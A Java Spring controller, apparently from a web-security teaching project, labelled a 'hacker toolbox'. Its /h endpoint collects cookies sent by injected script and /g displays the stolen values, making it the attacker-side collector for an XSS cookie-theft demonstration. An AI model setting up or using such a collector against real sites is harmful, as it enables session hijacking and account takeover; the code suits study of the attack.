package com.boxuegu.websecurity.bbs.controller;

import org.springframework.stereotype.Controller;
import org.springframework.ui.ModelMap;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.ResponseBody;

import java.util.ArrayList;
import java.util.List;

/**
 * Hacker工具箱
 *
 * @author Jam Fang  https://www.jianshu.com/u/0977ede560d4
 * @version 创建时间：2019.10.11 17:20
 */
@Controller
public class HackerController {

    /**
     * 简化处理，使用List临时存放信息
     */
    private static List<String> list = new ArrayList<>();

    /**
     * 接收注入代码提交的信息
     *
     * @param c
     * @return
     */
    @GetMapping("/h")
    @ResponseBody
    public String sendCookie(String c) {
        if (c != null && !c.equals("")) {
            list.add(c);
        }
        return "";
    }

    /**
     * 显示我的工具箱，展示接收到的信息
     *
     * @param map
     * @return
     */
    @GetMapping("/g")
    public String getCookie(ModelMap map) {
        map.addAttribute("list", list);
        return "hacker";
    }
}
